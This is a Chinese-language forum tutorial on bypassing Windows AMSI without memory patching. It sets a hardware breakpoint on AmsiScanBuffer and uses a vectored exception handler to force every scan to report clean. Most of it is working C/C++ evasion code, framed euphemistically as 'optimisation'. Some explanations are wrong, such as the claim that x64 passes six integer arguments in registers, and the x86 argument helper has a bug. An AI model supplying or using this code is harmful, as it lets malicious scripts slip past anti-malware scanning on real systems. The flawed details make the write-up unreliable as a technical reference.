优化 AMSI 学习方法:无需打补丁

前言

虽然传统的通过 patch 内存 AmsiScanBuffer 的方法已经有很多相关文章,但这种方式涉及到修改关键内存位置的属性,因此具有一定的敏感性。本文将介绍一种无需 patch 的绕过 Amsi 的方法。

硬件断点介绍

在介绍绕过 Amsi 的方法之前,我们先来了解一下硬件断点的概念。硬件断点是利用 CPU 提供的调试寄存器(DR0-7)实现的,用于在指定内存位置设置断点,当执行、写入或读写事件发生时,会触发中断。

图片[1]-优化 AMSI 学习方法:无需打补丁-山海云端论坛
  • DR0-DR3: 这些寄存器存储了要设置断点的线性地址,每个线程最多可同时具有四个断点。调试寄存器 DR7 用于控制每个断点的条件和行为。
  • DR4-DR5: 被称为保留的调试寄存器,功能取决于控制寄存器 CR4 中的 DE 字段的值。在启用 DE 位后,会启用 I/O 断点功能。
  • DR6: 调试状态存储在 DR6 中,包含用于快速检查事件触发情况的位。
  • DR7: 调试控制寄存器,允许对每个硬件断点进行精细控制,包括启用断点、断点类型、断点大小等。
图片[2]-优化 AMSI 学习方法:无需打补丁-山海云端论坛
图片[3]-优化 AMSI 学习方法:无需打补丁-山海云端论坛
图片[4]-优化 AMSI 学习方法:无需打补丁-山海云端论坛

硬件断点的设置需要考虑到断点的类型(执行、写入、读写)、断点的大小(1 字节、2 字节、4 字节、8 字节)以及触发事件(本地触发、全局触发)等因素。

通过利用 CPU 提供的硬件断点功能,我们可以实现对特定内存位置的监控和中断,为绕过 Amsi 提供了一种新的思路。

调试寄存器的读写

<em>/* Initialize context structure */</em>CONTEXT context = { 0 };context.ContextFlags = CONTEXT_ALL;<br><em>/* Fill context structure with current thread context */</em>GetThreadContext(GetCurrentThread(), &context);<br><em>/* Set a local 1-byte execution hardware breakpoint on 'test_func' */</em>context.Dr0 = (DWORD64)&test_func;context.Dr7 = 1 << 0;context.ContextFlags = CONTEXT_DEBUG_REGISTERS;<br><em>/* Set the context */</em>SetThreadContext(GetCurrentThread(), &context);

patchless amsi

解读代码可以从函数入口开始

<code>PVOID g_amsiScanBufferPtr = nullptr;</code><code><br></code><code><br></code><code>HANDLE setupAMSIBypass(){</code><code><br></code><code> CONTEXT threadCtx;</code><code> memset(&threadCtx, 0, sizeof(threadCtx));</code><code> threadCtx.ContextFlags = CONTEXT_ALL;</code><code><br></code><code> <em>//Load amsi.dll if it hasn't be loaded alreay.</em></code><code> if(g_amsiScanBufferPtr == nullptr){</code><code> HMODULE amsi = GetModuleHandleA("amsi.dll");</code><code><br></code><code> if(amsi == nullptr){</code><code> amsi = LoadLibraryA("amsi.dll");</code><code> }</code><code><br></code><code> if(amsi != nullptr){</code><code> g_amsiScanBufferPtr = (PVOID)GetProcAddress(amsi, "AmsiScanBuffer");</code><code> }else{</code><code> return nullptr;</code><code> }</code><code><br></code><code> if(g_amsiScanBufferPtr == nullptr)</code><code> return nullptr;</code><code> }</code><code><br></code><code> <em>//add our vectored exception handle</em></code><code> HANDLE hExHandler = AddVectoredExceptionHandler(1, exceptionHandler);</code><code><br></code><code> <em>//Set a hardware breakpoint on AmsiScanBuffer function</em></code><code> if(GetThreadContext((HANDLE)-2, &threadCtx)){</code><code> enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0);</code><code> SetThreadContext((HANDLE)-2, &threadCtx);</code><code> }</code><code><br></code><code> return hExHandler;</code><code>}</code>

这段代码的主要流程是首先获取 amsiScanBuffer 函数的地址,然后注册一个 VEH(Vectored Exception Handler)异常处理程序。接着,通过调用 GetThreadContext 函数获取当前线程的上下文信息。作者采用了一个小技巧,使用(HANDLE)-2 来代替 GetCurrentThread() 函数。然后,调用 enableBreakpoint 函数设置了一个硬件断点。现在我们来深入优化这段代码。

<code>unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {</code><code> unsigned long long mask = (1UL << bits) - 1UL;</code><code> dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);</code><code> return dw;</code><code>}</code><code><em>//该函数的作用是将 dw 中从位置 lowBit 开始的 bits 个二进制位的值设置为newValue,并返回修改后的 dw。</em></code><code>void enableBreakpoint(CONTEXT& ctx, PVOID address, int index) {</code><code><br></code><code> switch (index) {</code><code> case 0:</code><code> ctx.Dr0 = (ULONG_PTR)address;</code><code> break;</code><code> case 1:</code><code> ctx.Dr1 = (ULONG_PTR)address;</code><code> break;</code><code> case 2:</code><code> ctx.Dr2 = (ULONG_PTR)address;</code><code> break;</code><code> case 3:</code><code> ctx.Dr3 = (ULONG_PTR)address;</code><code> break;</code><code> }</code><code><br></code><code> <em>//Set bits 16-31 as 0, which sets</em></code><code> <em>//DR0-DR3 HBP's for execute HBP</em></code><code> ctx.Dr7 = setBits(ctx.Dr7, 16, 16, 0);</code><code><br></code><code> <em>//Set DRx HBP as enabled for local mode</em></code><code> ctx.Dr7 = setBits(ctx.Dr7, (index * 2), 1, 1);</code><code> ctx.Dr6 = 0;</code><code>}</code>

这段代码中,最后一个参数实际上用于选择使用哪个调试寄存器(DR0-3)作为断点。通过setBits函数,可以设置DR7寄存器的一些位,从而控制DR0-3的属性。在这里,将DR0-DR3的触发条件设置为执行,并且将DRx的触发设置为当前模式,也就是仅对当前线程有效。

enableBreakpoint函数传递的参数是amsiScanBuffer的地址、当前线程和DR0。因此,当执行amsiScanBuffer函数时,将会触发硬件断点,产生一个EXCEPTION_SINGLE_STEP异常。

注册的veh(Vectored Exception Handler)函数将会作为第一个处理这个异常,进行相应的优化处理。

<code>static ULONG_PTR getArg(CONTEXT* ctx, int index){</code><code><br></code><code>#ifdef __x86_64</code><code> switch(index){</code><code> case 0:</code><code> return ctx->Rcx;</code><code> case 1:</code><code> return ctx->Rdx;</code><code> case 2:</code><code> return ctx->R8;</code><code> case 3:</code><code> return ctx->R9;</code><code> default:</code><code> return *(ULONG_PTR*)(ctx->Rsp+((index+1)*8));</code><code> }</code><code>#else</code><code> return *(DWORD_PTR*)(ctx->Esp+(index+1*4));</code><code>#endif</code><code><br></code><code>}</code><code><br></code><code>static ULONG_PTR getReturnAddress(CONTEXT* ctx){</code><code>#ifdef __x86_64</code><code> return *(ULONG_PTR*)ctx->Rsp;</code><code>#else</code><code> return *(ULONG_PTR*)ctx->Esp;</code><code>#endif</code><code>}</code><code><br></code><code>static void setResult(CONTEXT* ctx, ULONG_PTR result){</code><code>#ifdef __x86_64</code><code> ctx->Rax = result;</code><code>#else</code><code> ctx->Eax = result;</code><code>#endif</code><code>}</code><code><br></code><code>static void adjustStackPointer(CONTEXT* ctx, int amount){</code><code>#ifdef __x86_64</code><code> ctx->Rsp += amount;</code><code>#else</code><code> ctx->Esp += amount;</code><code>#endif</code><code>}</code><code><br></code><code>static void setIP(CONTEXT* ctx, ULONG_PTR newIP){</code><code>#ifdef __x86_64</code><code> ctx->Rip = newIP;</code><code>#else</code><code> ctx->Eip = newIP;</code><code>#endif</code><code>}</code><code><br></code><code>LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions){</code><code><br></code><code> if(exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && exceptions->ExceptionRecord->ExceptionAddress == g_amsiScanBufferPtr){</code><code><br></code><code> <em>//Get the return address by reading the value currently stored at the stack pointer </em></code><code>ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);</code><code> </code><code><em>//Get the address of the 5th argument, which is an int* and set it to a clean result</em></code><code> int* scanResult = (int*)getArg(exceptions->ContextRecord, 5);</code><code> *scanResult = AMSI_RESULT_CLEAN;</code><code><br></code><code> <em>//update the current instruction pointer to the caller of AmsiScanBuffer </em></code><code>setIP(exceptions->ContextRecord, returnAddress);</code><code> </code><code><em>//We need to adjust the stack pointer accordinly too so that we simulate a ret instruction</em></code><code> adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));</code><code> </code><code><em>//Set the eax/rax register to 0 (S_OK) indicatring to the caller that AmsiScanBuffer finished successfully </em></code><code>setResult(exceptions->ContextRecord, S_OK);</code><code><br></code><code> <em>//Clear the hardware breakpoint, since we are now done with it</em></code><code> clearHardwareBreakpoint(exceptions->ContextRecord, 0);</code><code><br></code><code> return EXCEPTION_CONTINUE_EXECUTION;</code><code><br></code><code> }else{</code><code> return EXCEPTION_CONTINUE_SEARCH;</code><code> }</code><code>}</code>

确定异常的类型,并且异常是由于 amsiScanBuffer 函数导致的。在你的描述中,returnAddress 是在 amsiScanBuffer 执行完毕后获取的返回地址,即在触发断点时的 rsp 值。

图片[5]-优化 AMSI 学习方法:无需打补丁-山海云端论坛

scanResult是对amsiScanBuffer的第六个参数进行赋值。

图片[6]-优化 AMSI 学习方法:无需打补丁-山海云端论坛

根据x64调用约定,在函数调用时,参数通过寄存器传递。当参数较多时,部分参数会存储在栈中。对于x64架构,前6个整型参数(或3个浮点参数)会存储在寄存器中,剩余的参数会存储在栈上。

图片[7]-优化 AMSI 学习方法:无需打补丁-山海云端论坛

在这里,首先,我们需要将某个特定的值清零。然后,我们将返回指令指针(RIP)直接指向返回地址,这样做相当于绕过了 amsiScanBuffer 函数。但是,由于调用进入了函数,堆栈会处于不平衡的状态,因此需要进行堆栈的调整,即将栈顶指针下移,这里相当于进行了一次 pop 操作,所以堆栈指针 RSP 需要加上 8 个字节。这就是 adjustStackPointer 函数的作用。

这样做之后,堆栈就重新平衡了。另外,我们还需要将 RAX 寄存器中的返回值设为 0,以优化程序的执行流程。

总结

这种方法利用动态更改amsiScanBuffer函数的返回结果和第六个参数来控制返回结果,在执行过程中修改了进程。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容